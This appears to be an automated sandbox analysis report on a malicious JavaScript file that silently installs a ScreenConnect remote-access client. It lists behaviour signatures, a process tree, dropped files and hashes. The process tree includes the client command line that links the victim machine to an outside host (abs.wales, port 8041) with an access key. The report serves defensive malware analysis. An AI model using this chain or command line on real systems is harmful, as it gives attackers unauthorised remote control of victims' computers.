Overview

overview

7

Static

static

1

Document-j476g.js

windows10-2004-x64

7

Document-j476g.js

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Document-j476g.js
  • Size 2.4MB
  • Sample260723-ph62jswwfv
  • SHA256 6b78cd111167197713fd3de28dc951773f298543720d20f288907732dcc59248
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
discoveryexecutionransomware

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 64 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 29 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 19 IoCs
  • Suspicious use of SetWindowsHookEx 31 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Document-j476g.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2484
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2264
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5336
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4312
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1624
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4568
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5912
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4860
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5768
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4320
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1532
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1EEF62EFD23CDA3952192A98D637D4C7 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI32CE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240727140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1560
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3FB94EA4BEED3CB58930F30100A6D7FA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2252
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5868
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:988
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4C725B1C1EA6C8312EA93BE1349E7A4F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4540
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B0A1341171C2D33695DB4A235AE0B118 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4552
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A5C0CC174B562AB2D1A3D126AD554D64 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA687.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240756546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4140
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 60D54B9EFB326BE8CDF64962EB32DA8C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1560
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 04B4C1096326E24BC6709DBF90D104D1 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2556
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE16D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240771531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3852
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EBB8964A29E47B67C17D68D29873E92B
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4664
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BFEF05FC652FDAFAF8C57E40B107D1EF C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1C44.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240786640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1240
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6107048F3576C9E58ECC31C88AB07E35
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:6100
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7751D33CFE53A748A947492BB81B12EC C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5787.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240801781 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4832
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 739B3C0E67FD59A4B2C66BAD77932DFB
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3192
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6F0A936772A9CF5DC77B808E888ADA5C C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5116
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI922F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240816796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5744
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AC2312B9C9D37C6BA3EFFD55B184B71A
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4940
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7770285CB025743BBA63650B46A419F9 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5380
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICD15.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240831890 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1544
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5ADA6FD1F04D8DD6108445C91F0139C8
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2320
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4494A65E34FB89C1883F2E24680CD013 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3712
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI80B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240847000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5964
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DA05710766335BB2ED4748CBCC5D97A9
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4596
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EDAC17674987C5445625B029208D74A5 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4301.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240862062 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3504
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7C1A6EDB8FC03F390A10B25B33F76889
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3964
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4472
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=246735b4-b979-46ae-a284-cc4adb33a09d&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=23JUL&c=&c=23JUL&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "4b87d87b-1214-4c52-87ce-44ca0d7122ee" "User"
        2⤵
        • Executes dropped EXE
        PID:2968
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "e449bd9c-f2bf-4ff9-bff4-925e742ebb37" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4368

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59892c.rbs
          • Path C:\Config.Msi\e59892c.rbs
          • Size 212KB
          • SHA256 fc9c4971802a1b9ddc6587b8a7da98f05edd94e486734f8373fc7b36435a17a4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e59892e.rbs
          • Path C:\Config.Msi\e59892e.rbs
          • Size 206KB
          • SHA256 e538652cdf489d1a0fc8d02f7a466a6f8f9ea4e5487ff030c9503affda3fb737
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e59892f.rbs
          • Path C:\Config.Msi\e59892f.rbs
          • Size 206KB
          • SHA256 7a10659df5d1e5053229e4440a61535752a51d0aa61fda89f0149570f08ec9a0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598930.rbs
          • Path C:\Config.Msi\e598930.rbs
          • Size 206KB
          • SHA256 8c0ed571deddbd00649f53641c85c20a9212302ba4b46dae3efc60efa97d8696
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598931.rbs
          • Path C:\Config.Msi\e598931.rbs
          • Size 206KB
          • SHA256 668b7ea2fdef4f1b8bcac60be779b9dc0e054111f1789fd06af07706d62da12f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598932.rbs
          • Path C:\Config.Msi\e598932.rbs
          • Size 206KB
          • SHA256 1f3923f3696582d6f08dcc7112d28b5c0b395ecdfd2524943b9a1ef084ce0127
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598933.rbs
          • Path C:\Config.Msi\e598933.rbs
          • Size 206KB
          • SHA256 749d8a116183b41cb9e89877e776fa825be7e1d9b6c262282dce27024e8e68be
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598934.rbs
          • Path C:\Config.Msi\e598934.rbs
          • Size 206KB
          • SHA256 b804e643df7caf015ce9d9a1f9f8f04660c6bc5970f7261c20171a8208927c23
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e598935.rbs
          • Path C:\Config.Msi\e598935.rbs
          • Size 206KB
          • SHA256 5570f8b9632c3d9aaeb4262a3cd9c06872e749c7e8112c7749a5acc7d67a9bd0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.en-US.resources
          • Size 308B
          • SHA256 25816b0a68a814e47d7463a2c9ea06d08f115d0e4c92bad8e2f3457d280348e6
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.resources
          • Size 241B
          • SHA256 b222ffd3bb91120201046546dd5fde1565c4e5cc6b47060419e1778e833fd4db
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.en-US.resources
          • Size 33KB
          • SHA256 3d42f719c28b1c3eebd99bc17ba7793330ce0099fc0dbfef985ecd523cddae70
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.resources
          • Size 2KB
          • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
          • Size 146KB
          • SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
          • Size 30KB
          • SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
          • Size 88KB
          • SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
          • Size 534KB
          • SHA256 f65a0d67c2398cd51c8d4cd4b95be81db4efe69ba9bda3d958e2b52becf216b3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
          • Size 1KB
          • SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Aman.ClientSetup.msi
          • Path C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi
          • Size 1.8MB
          • SHA256 c50f064ad2b62ae172a11f79e0c3b719b29148e4bb625544549cd5b452aeacf7
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI32CE.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI32CE.tmp
          • Size 336KB
          • SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI32CE.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI32CE.tmp-\ScreenConnect.Core.dll
          • Size 378KB
          • SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI32CE.tmp-\ScreenConnect.InstallerActions.dll
          • Size 17KB
          • SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          CustomAction.config
          • Path C:\Users\Admin\AppData\Local\Temp\MSI6B24.tmp-\CustomAction.config
          • Size 228B
          • SHA256 c5045c2d482f71215877eb668264ee47e1415792457f19a5a55651c3554cc7cd
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI8D91.tmp
          • Path C:\Windows\Installer\MSI8D91.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1532-161-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-293-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-378-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-263-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-234-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-321-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-350-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1532-203-0x000001EC2AED0000-0x000001EC2B874000-memory.dmp
          Download

          memory/1560-16-0x00000000036D0000-0x00000000036FE000-memory.dmp
          Download

          memory/1560-20-0x0000000003720000-0x000000000372A000-memory.dmp
          Download

          memory/1560-24-0x00000000057C0000-0x0000000005824000-memory.dmp
          Download

          memory/1756-125-0x0000000004800000-0x000000000488A000-memory.dmp
          Download

          memory/1756-126-0x0000000004890000-0x00000000048E0000-memory.dmp
          Download

          memory/1756-95-0x00000000017C0000-0x00000000017CE000-memory.dmp
          Download

          memory/1756-120-0x0000000004330000-0x00000000044B8000-memory.dmp
          Download

          memory/1756-108-0x0000000004170000-0x0000000004328000-memory.dmp
          Download

          memory/1756-101-0x0000000003E40000-0x0000000003E6A000-memory.dmp
          Download

          memory/2968-138-0x0000000000E30000-0x0000000000E3E000-memory.dmp
          Download

          memory/2968-137-0x000000001BAD0000-0x000000001BC58000-memory.dmp
          Download

          memory/2968-136-0x000000001B780000-0x000000001B938000-memory.dmp
          Download

          memory/2968-135-0x000000001B550000-0x000000001B5B4000-memory.dmp
          Download

          memory/2968-133-0x0000000000540000-0x00000000005CA000-memory.dmp
          Download

          memory/2968-134-0x00000000026F0000-0x000000000271A000-memory.dmp
          Download